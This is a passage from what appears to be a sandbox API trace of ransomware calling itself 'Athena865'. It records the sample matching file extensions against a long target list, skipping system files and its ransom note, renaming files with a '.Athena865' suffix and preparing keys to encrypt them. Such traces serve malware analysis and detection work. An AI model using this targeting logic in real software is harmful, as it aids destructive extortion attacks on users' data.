(lpString1="lnk", lpString2="fp7") returned 1 [0048.345] lstrlenW (lpString="fpt") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0048.345] lstrlenW (lpString="frm") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0048.346] lstrlenW (lpString="gdb") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0048.346] lstrlenW (lpString="gdb") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0048.346] lstrlenW (lpString="grdb") returned 4 [0048.346] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0048.346] lstrlenW (lpString="gwi") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0048.346] lstrlenW (lpString="hdb") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0048.346] lstrlenW (lpString="his") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0048.346] lstrlenW (lpString="ib") returned 2 [0048.346] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0048.346] lstrlenW (lpString="idb") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0048.346] lstrlenW (lpString="ihx") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0048.346] lstrlenW (lpString="itdb") returned 4 [0048.346] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0048.346] lstrlenW (lpString="itw") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0048.346] lstrlenW (lpString="jet") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0048.346] lstrlenW (lpString="jtx") returned 3 [0048.346] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0048.346] lstrlenW (lpString="kdb") returned 3 [0048.351] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0048.351] lstrlenW (lpString="kexi") returned 4 [0048.351] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0048.351] lstrlenW (lpString="kexic") returned 5 [0048.351] lstrcmpiW (lpString1="X.lnk", lpString2="kexic") returned 1 [0048.351] lstrlenW (lpString="kexis") returned 5 [0048.352] lstrcmpiW (lpString1="X.lnk", lpString2="kexis") returned 1 [0048.352] lstrlenW (lpString="lgc") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0048.352] lstrlenW (lpString="lwx") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0048.352] lstrlenW (lpString="maf") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0048.352] lstrlenW (lpString="maq") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0048.352] lstrlenW (lpString="mar") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0048.352] lstrlenW (lpString="marshal") returned 7 [0048.352] lstrcmpiW (lpString1="r X.lnk", lpString2="marshal") returned 1 [0048.352] lstrlenW (lpString="mas") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0048.352] lstrlenW (lpString="mav") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0048.352] lstrlenW (lpString="maw") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0048.352] lstrlenW (lpString="mdbhtml") returned 7 [0048.352] lstrcmpiW (lpString1="r X.lnk", lpString2="mdbhtml") returned 1 [0048.352] lstrlenW (lpString="mdn") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0048.352] lstrlenW (lpString="mdt") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0048.352] lstrlenW (lpString="mfd") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0048.352] lstrlenW (lpString="mpd") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0048.352] lstrlenW (lpString="mrg") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0048.352] lstrlenW (lpString="mud") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0048.352] lstrlenW (lpString="mwb") returned 3 [0048.352] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0048.353] lstrlenW (lpString="myd") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0048.353] lstrlenW (lpString="ndf") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0048.353] lstrlenW (lpString="nnt") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0048.353] lstrlenW (lpString="nrmlib") returned 6 [0048.353] lstrcmpiW (lpString1=" X.lnk", lpString2="nrmlib") returned -1 [0048.353] lstrlenW (lpString="ns2") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0048.353] lstrlenW (lpString="ns3") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0048.353] lstrlenW (lpString="ns4") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0048.353] lstrlenW (lpString="nsf") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0048.353] lstrlenW (lpString="nv") returned 2 [0048.353] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0048.353] lstrlenW (lpString="nv2") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0048.353] lstrlenW (lpString="nwdb") returned 4 [0048.353] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0048.353] lstrlenW (lpString="nyf") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0048.353] lstrlenW (lpString="odb") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0048.353] lstrlenW (lpString="odb") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0048.353] lstrlenW (lpString="oqy") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0048.353] lstrlenW (lpString="ora") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0048.353] lstrlenW (lpString="orx") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0048.353] lstrlenW (lpString="owc") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0048.353] lstrlenW (lpString="p96") returned 3 [0048.353] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0048.353] lstrlenW (lpString="p97") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0048.354] lstrlenW (lpString="pan") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0048.354] lstrlenW (lpString="pdb") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0048.354] lstrlenW (lpString="pdm") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0048.354] lstrlenW (lpString="pnz") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0048.354] lstrlenW (lpString="qry") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0048.354] lstrlenW (lpString="qvd") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0048.354] lstrlenW (lpString="rbf") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0048.354] lstrlenW (lpString="rctd") returned 4 [0048.354] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0048.354] lstrlenW (lpString="rod") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0048.354] lstrlenW (lpString="rodx") returned 4 [0048.354] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0048.354] lstrlenW (lpString="rpd") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0048.354] lstrlenW (lpString="rsd") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0048.354] lstrlenW (lpString="sas7bdat") returned 8 [0048.354] lstrcmpiW (lpString1="er X.lnk", lpString2="sas7bdat") returned -1 [0048.354] lstrlenW (lpString="sbf") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0048.354] lstrlenW (lpString="scx") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0048.354] lstrlenW (lpString="sdb") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0048.354] lstrlenW (lpString="sdc") returned 3 [0048.354] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0048.355] lstrlenW (lpString="sdf") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0048.355] lstrlenW (lpString="sis") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0048.355] lstrlenW (lpString="spq") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0048.355] lstrlenW (lpString="te") returned 2 [0048.355] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0048.355] lstrlenW (lpString="teacher") returned 7 [0048.355] lstrcmpiW (lpString1="r X.lnk", lpString2="teacher") returned -1 [0048.355] lstrlenW (lpString="tmd") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0048.355] lstrlenW (lpString="tps") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0048.355] lstrlenW (lpString="trc") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0048.355] lstrlenW (lpString="trc") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0048.355] lstrlenW (lpString="trm") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0048.355] lstrlenW (lpString="udb") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0048.355] lstrlenW (lpString="udl") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0048.355] lstrlenW (lpString="usr") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0048.355] lstrlenW (lpString="v12") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0048.355] lstrlenW (lpString="vis") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0048.355] lstrlenW (lpString="vpd") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0048.355] lstrlenW (lpString="vvv") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0048.355] lstrlenW (lpString="wdb") returned 3 [0048.355] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0048.356] lstrlenW (lpString="wmdb") returned 4 [0048.356] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0048.356] lstrlenW (lpString="wrk") returned 3 [0048.356] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0048.356] lstrlenW (lpString="xdb") returned 3 [0048.356] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0048.356] lstrlenW (lpString="xld") returned 3 [0048.356] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0048.356] lstrlenW (lpString="xmlff") returned 5 [0048.356] lstrcmpiW (lpString1="X.lnk", lpString2="xmlff") returned -1 [0048.356] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Desktop\\Adobe Reader X.lnk.Athena865") returned 51 [0048.356] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\programdata\\desktop\\adobe reader x.lnk"), lpNewFileName="C:\\ProgramData\\Desktop\\Adobe Reader X.lnk.Athena865" (normalized: "c:\\programdata\\desktop\\adobe reader x.lnk.athena865"), dwFlags=0x1) returned 1 [0048.357] CreateFileW (lpFileName="C:\\ProgramData\\Desktop\\Adobe Reader X.lnk.Athena865" (normalized: "c:\\programdata\\desktop\\adobe reader x.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0048.357] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2025) returned 1 [0048.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.357] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.358] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.358] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.358] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf0, lpName=0x0) returned 0x17c [0048.360] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaf0) returned 0x100000 [0048.361] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.361] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.361] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50aba8 [0048.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aba8 | out: hHeap=0x4f0000) returned 1 [0048.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.362] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.362] CloseHandle (hObject=0x17c) returned 1 [0048.362] CloseHandle (hObject=0x154) returned 1 [0048.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.364] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0048.364] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0048.364] lstrlenW (lpString="desktop.ini") returned 11 [0048.364] lstrcpyW (in: lpString1=0x241e876, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0048.364] lstrlenW (lpString="desktop.ini") returned 11 [0048.364] lstrlenW (lpString="Athena865") returned 9 [0048.365] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0048.365] lstrlenW (lpString=".dll") returned 4 [0048.365] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0048.365] lstrlenW (lpString=".lnk") returned 4 [0048.365] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0048.365] lstrlenW (lpString=".ini") returned 4 [0048.365] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0048.365] lstrlenW (lpString=".sys") returned 4 [0048.365] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0048.365] lstrlenW (lpString="desktop.ini") returned 11 [0048.365] lstrlenW (lpString="bak") returned 3 [0048.365] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0048.365] lstrlenW (lpString="ba_") returned 3 [0048.365] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0048.365] lstrlenW (lpString="dbb") returned 3 [0048.365] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0048.365] lstrlenW (lpString="vmdk") returned 4 [0048.365] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0048.365] lstrlenW (lpString="rar") returned 3 [0048.365] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0048.365] lstrlenW (lpString="zip") returned 3 [0048.365] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0048.365] lstrlenW (lpString="tgz") returned 3 [0048.365] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0048.365] lstrlenW (lpString="vbox") returned 4 [0048.365] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0048.365] lstrlenW (lpString="vdi") returned 3 [0048.365] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0048.365] lstrlenW (lpString="vhd") returned 3 [0048.365] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0048.365] lstrlenW (lpString="vhdx") returned 4 [0048.365] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0048.365] lstrlenW (lpString="avhd") returned 4 [0048.365] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0048.365] lstrlenW (lpString="db") returned 2 [0048.365] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0048.365] lstrlenW (lpString="db2") returned 3 [0048.365] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0048.366] lstrlenW (lpString="db3") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0048.366] lstrlenW (lpString="dbf") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0048.366] lstrlenW (lpString="mdf") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0048.366] lstrlenW (lpString="mdb") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0048.366] lstrlenW (lpString="sql") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0048.366] lstrlenW (lpString="sqlite") returned 6 [0048.366] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0048.366] lstrlenW (lpString="sqlite3") returned 7 [0048.366] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0048.366] lstrlenW (lpString="sqlitedb") returned 8 [0048.366] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0048.366] lstrlenW (lpString="xml") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0048.366] lstrlenW (lpString="$er") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0048.366] lstrlenW (lpString="4dd") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0048.366] lstrlenW (lpString="4dl") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0048.366] lstrlenW (lpString="^^^") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0048.366] lstrlenW (lpString="abs") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0048.366] lstrlenW (lpString="abx") returned 3 [0048.366] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0048.366] lstrlenW (lpString="accdb") returned 5 [0048.366] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0048.366] lstrlenW (lpString="accdc") returned 5 [0048.366] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0048.366] lstrlenW (lpString="accde") returned 5 [0048.366] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0048.366] lstrlenW (lpString="accdr") returned 5 [0048.366] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0048.366] lstrlenW (lpString="accdt") returned 5 [0048.367] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0048.367] lstrlenW (lpString="accdw") returned 5 [0048.367] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0048.367] lstrlenW (lpString="accft") returned 5 [0048.367] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0048.367] lstrlenW (lpString="adb") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0048.367] lstrlenW (lpString="adb") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0048.367] lstrlenW (lpString="ade") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0048.367] lstrlenW (lpString="adf") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0048.367] lstrlenW (lpString="adn") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0048.367] lstrlenW (lpString="adp") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0048.367] lstrlenW (lpString="alf") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0048.367] lstrlenW (lpString="ask") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0048.367] lstrlenW (lpString="btr") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0048.367] lstrlenW (lpString="cat") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0048.367] lstrlenW (lpString="cdb") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0048.367] lstrlenW (lpString="ckp") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0048.367] lstrlenW (lpString="cma") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0048.367] lstrlenW (lpString="cpd") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0048.367] lstrlenW (lpString="dacpac") returned 6 [0048.367] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0048.367] lstrlenW (lpString="dad") returned 3 [0048.367] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0048.367] lstrlenW (lpString="dadiagrams") returned 10 [0048.367] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0048.368] lstrlenW (lpString="daschema") returned 8 [0048.368] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0048.368] lstrlenW (lpString="db-journal") returned 10 [0048.368] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0048.368] lstrlenW (lpString="db-shm") returned 6 [0048.368] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0048.368] lstrlenW (lpString="db-wal") returned 6 [0048.368] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0048.368] lstrlenW (lpString="dbc") returned 3 [0048.368] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0048.368] lstrlenW (lpString="dbs") returned 3 [0048.368] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0048.368] lstrlenW (lpString="dbt") returned 3 [0048.368] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0048.368] lstrlenW (lpString="dbv") returned 3 [0048.368] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0048.368] lstrlenW (lpString="dbx") returned 3 [0048.368] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0048.368] lstrlenW (lpString="dcb") returned 3 [0048.368] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0048.368] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Desktop\\desktop.ini.Athena865") returned 44 [0048.368] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Desktop\\desktop.ini" (normalized: "c:\\programdata\\desktop\\desktop.ini"), lpNewFileName="C:\\ProgramData\\Desktop\\desktop.ini.Athena865" (normalized: "c:\\programdata\\desktop\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0048.369] CreateFileW (lpFileName="C:\\ProgramData\\Desktop\\desktop.ini.Athena865" (normalized: "c:\\programdata\\desktop\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0048.369] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174) returned 1 [0048.369] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.369] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.369] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.369] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.370] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.370] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.370] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x17c [0048.383] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0048.384] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.384] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.384] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.384] RtlAllocateHeap (HeapHandle=0x4f0000, 